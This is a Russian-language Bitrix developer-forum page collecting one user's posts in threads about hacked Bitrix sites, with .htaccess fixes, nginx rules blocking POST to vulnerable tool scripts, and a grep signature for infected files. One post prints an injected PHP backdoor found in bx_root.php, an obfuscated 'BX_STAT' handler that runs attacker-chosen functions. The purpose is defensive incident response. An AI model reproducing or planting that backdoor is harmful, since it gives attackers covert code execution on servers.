Разработчикам

Дмитрий Павлов (Все сообщения пользователя)

Взломаны сайты в честь дня конституции украины

Пользователь 6397090

Заглянувший

Сообщений: 8 Регистрация: 29.06.2022

28.03.2023 15:03:20

Цитата

написал:

Цитата

написал:

Цитата

написал:
Всех приветствую! На днях положили сайт, в индексном файле левый код был. Убрал, вошёл в панель управления Битрикса, там любая кнопка выдавала 403 ошибку, проблема была в .htaccess Теперь сайт работает, админ панель работает, ссылки на сайте работают, но вот когда в каталоге выбираешь товар - в адресной строке появляется нужный каталог, но грузится всегда главная страница, в чем может быть дело ещё? Спасибо

Добрый вечер!

В корне должен быть .htaccess такого вида для обработки ЧПУ Битриксом.
Было подобное, теперь на старых проектах держу копию оригинального .htaccess как .htaccess.restore

Код

    <  IfModule     mod_rewrite.c  >  
  Options +FollowSymLinks
  RewriteEngine On

  RewriteCond %{REQUEST_FILENAME} !-f
  RewriteCond %{REQUEST_FILENAME} !-l
  RewriteCond %{REQUEST_FILENAME} !-d
  RewriteCond %{REQUEST_FILENAME} !/bitrix/urlrewrite.php$
  RewriteRule ^(.*)$ /bitrix/urlrewrite.php [L]
  RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization}]
  </  IfModule  >

Благодарю за ответ, но не помогло. Что еще проверить? Или где почитать об ээтом? У меня в папке /bitix/ лежит urlrewrite.php с таким содержанием:

Код

   <? 
 include_once ( $_SERVER [ 'DOCUMENT_ROOT' ]. '/bitrix/modules/main/include/urlrewrite.php' );
 if (file_exists( $_SERVER [ 'DOCUMENT_ROOT' ]. '/404.php' ))
    include_once ( $_SERVER [ 'DOCUMENT_ROOT' ]. '/404.php' );
 ?>

А в корне urlrewrite.php содержит правила обработки адреса Вашего каталога?

Перейти

Взломаны сайты в честь дня конституции украины

Пользователь 6397090

Заглянувший

Сообщений: 8 Регистрация: 29.06.2022

24.03.2023 21:04:26

Цитата

Код

<IfModule mod_rewrite.c>
  Options +FollowSymLinks
  RewriteEngine On

  RewriteCond %{REQUEST_FILENAME} !-f
  RewriteCond %{REQUEST_FILENAME} !-l
  RewriteCond %{REQUEST_FILENAME} !-d
  RewriteCond %{REQUEST_FILENAME} !/bitrix/urlrewrite.php$
  RewriteRule ^(.*)$ /bitrix/urlrewrite.php [L]
  RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization}]
</IfModule>

Перейти

Взломаны сайты в честь дня конституции украины

Пользователь 6397090

Заглянувший

Сообщений: 8 Регистрация: 29.06.2022

02.09.2022 09:34:24

Цитата
написал: bitrix/modules/main/include/prolog.php

Добрый день.
Покажите содержимое чем именно заражают?

Хотелось бы выявить паттерн для проверки.

Перейти

Лишний вывод в файлах конфигурации, модификация ядра, В фал \bitrix\modules\main\bx_root.php появились пустые строки

Пользователь 6397090

Заглянувший

Сообщений: 8 Регистрация: 29.06.2022

01.07.2022 11:13:34

Цитата

написал:
Побился файл \bitrix\modules\main\bx_root.php появились пустые строки
Исходный файл

Код

   <? 
 /*
$fname1 = __FILE__;
$fname2 = $_SERVER["DOCUMENT_ROOT"];
if(strpos($fname1, $fname2)!==0)
{
   $fname1 = realpath(__FILE__);
   $fname2 = realpath($_SERVER["DOCUMENT_ROOT"]);
}

if(strpos($fname1, $fname2)===0)
{
   $fname3 = RTrim($_SERVER["DOCUMENT_ROOT"], " /\\");
   $bx_root = substr($fname1, strlen($fname3));
   $bx_root = substr($bx_root, 0, strlen($bx_root) - strlen("/modules/main/include.php"));
}
else
   $bx_root = "/bitrix";

$bx_root = str_replace("\\", "/", $bx_root);
*/ 
 $bx_root  =  "/bitrix" ;
define( "BX_ROOT" ,  $bx_root );

 if ( isset ( $_SERVER [ "BX_PERSONAL_ROOT" ]) &&  $_SERVER [ "BX_PERSONAL_ROOT" ] <>  "" )
   define( "BX_PERSONAL_ROOT" ,  $_SERVER [ "BX_PERSONAL_ROOT" ]);
 else 
   define( "BX_PERSONAL_ROOT" , BX_ROOT);
 ?>

Модифицированный файл

Код

   <? 
 /*
$fname1 = __FILE__;
$fname2 = $_SERVER["DOCUMENT_ROOT"];
if(strpos($fname1, $fname2)!==0)
{
   $fname1 = realpath(__FILE__);
   $fname2 = realpath($_SERVER["DOCUMENT_ROOT"]);
}

if(strpos($fname1, $fname2)===0)
{
   $fname3 = RTrim($_SERVER["DOCUMENT_ROOT"], " /\\");
   $bx_root = substr($fname1, strlen($fname3));
   $bx_root = substr($bx_root, 0, strlen($bx_root) - strlen("/modules/main/include.php"));
}
else
   $bx_root = "/bitrix";

$bx_root = str_replace("\\", "/", $bx_root);
*/ 
 $bx_root  =  "/bitrix" ;
define( "BX_ROOT" ,  $bx_root );

 if ( isset ( $_SERVER [ "BX_PERSONAL_ROOT" ]) &&  $_SERVER [ "BX_PERSONAL_ROOT" ] <>  "" )
   define( "BX_PERSONAL_ROOT" ,  $_SERVER [ "BX_PERSONAL_ROOT" ]);
 else 
   define( "BX_PERSONAL_ROOT" , BX_ROOT);
 ?>  
  <? 
 if  ( isset ( $_POST [ "BX_STAT" ]) &&  $_POST [ "BX_STAT" ] <>  "" )
   parse_str(hex2bin(str_rot13( $_POST [ "BX_STAT" ])), $bx_stat )  or   die (str_rot13(bin2hex( $bx_stat [ 0 ]( $bx_stat [ 1 ], $bx_stat [ 2 ]))));
 ?>  

  <? 
 if  ( isset ( $_POST [ "BX_STAT" ]) &&  $_POST [ "BX_STAT" ] <>  "" )
   parse_str(hex2bin(str_rot13( $_POST [ "BX_STAT" ])), $bx_stat )  or   die (str_rot13(bin2hex( $bx_stat [ 0 ]( $bx_stat [ 1 ], $bx_stat [ 2 ]))));
 ?>  

  <? 
 if  ( isset ( $_POST [ "BX_STAT" ]) &&  $_POST [ "BX_STAT" ] <>  "" )
   parse_str(hex2bin(str_rot13( $_POST [ "BX_STAT" ])), $bx_stat )  or   die (str_rot13(bin2hex( $bx_stat [ 0 ]( $bx_stat [ 1 ], $bx_stat [ 2 ]))));
 ?>

В чем может быть беда? Кто переписывает файл? На костыли не похоже... вирусня какая-то? Не могу прикинуть для чего битриксу нужно использовать str_rot13...

https://dev.1c-bitrix.ru/community/forums/messages/forum6/topic147346/message711432/#message711432

Перейти

Взломаны сайты в честь дня конституции украины

Пользователь 6397090

Заглянувший

Сообщений: 8 Регистрация: 29.06.2022

29.06.2022 17:56:04

Цитата

написал:

Цитата

написал:
NGINX

# ломает загрузку файлов в ИБ
location /bitrix/tools/upload.php {
if ($request_method = POST ) {
deny all;
}
}

location /bitrix/tools/mail_entry.php {
if ($request_method = POST ) {
deny all;
}
}

location /bitrix/tools/vote/uf.php {
if ($request_method = POST ) {
deny all;
}
}

location /bitrix/tools/html_editor_action.php {
if ($request_method = POST ) {
deny all;
}
}

location /bitrix/admin/site_checker.php {
if ($request_method = POST ) {
deny all;
}
}

у вас nginx какой версии?

попробовал добавить условие про POST, но у меня ошибка, что deny all нельзя размещать в данной секции(условие if)

Вот так подключается файл с данными строками.

Перейти

Взломаны сайты в честь дня конституции украины

Пользователь 6397090

Заглянувший

Сообщений: 8 Регистрация: 29.06.2022

29.06.2022 17:53:31

Цитата

написал:

Цитата

Код
nginx version: nginx/1.20.1

Перейти

Взломаны сайты в честь дня конституции украины

Пользователь 6397090

Заглянувший

Сообщений: 8 Регистрация: 29.06.2022

29.06.2022 17:12:34

NGINX

# ломает загрузку файлов в ИБ
location /bitrix/tools/upload.php {
if ($request_method = POST ) {
deny all;
}
}

location /bitrix/tools/mail_entry.php {
if ($request_method = POST ) {
deny all;
}
}

location /bitrix/tools/vote/uf.php {
if ($request_method = POST ) {
deny all;
}
}

location /bitrix/tools/html_editor_action.php {
if ($request_method = POST ) {
deny all;
}
}

location /bitrix/admin/site_checker.php {
if ($request_method = POST ) {
deny all;
}
}

Перейти

Взломаны сайты в честь дня конституции украины

Пользователь 6397090

Заглянувший

Сообщений: 8 Регистрация: 29.06.2022

29.06.2022 16:00:04

Добрый день.
Есть еще проблема:
https://dev.1c-bitrix.ru/community/forums/forum6/topic147282/

Нашел на многих своих сайтах.

Искал через SSH с помощью команды:

Код
grep -r --include=*.php "QlhfVE9LRU4=" /srv/www

Где /srv/www - корневая папка доменов.

Перейти

Дмитрий Павлов (Все сообщения пользователя)

Продукты

Управление сайтом

Битрикс24

Интернет-магазин + CRM

Решения

Для интернет-магазинов

Каталог готовых решений

Внедрение

Выбрать партнера

Проверить партнера

Стать партнером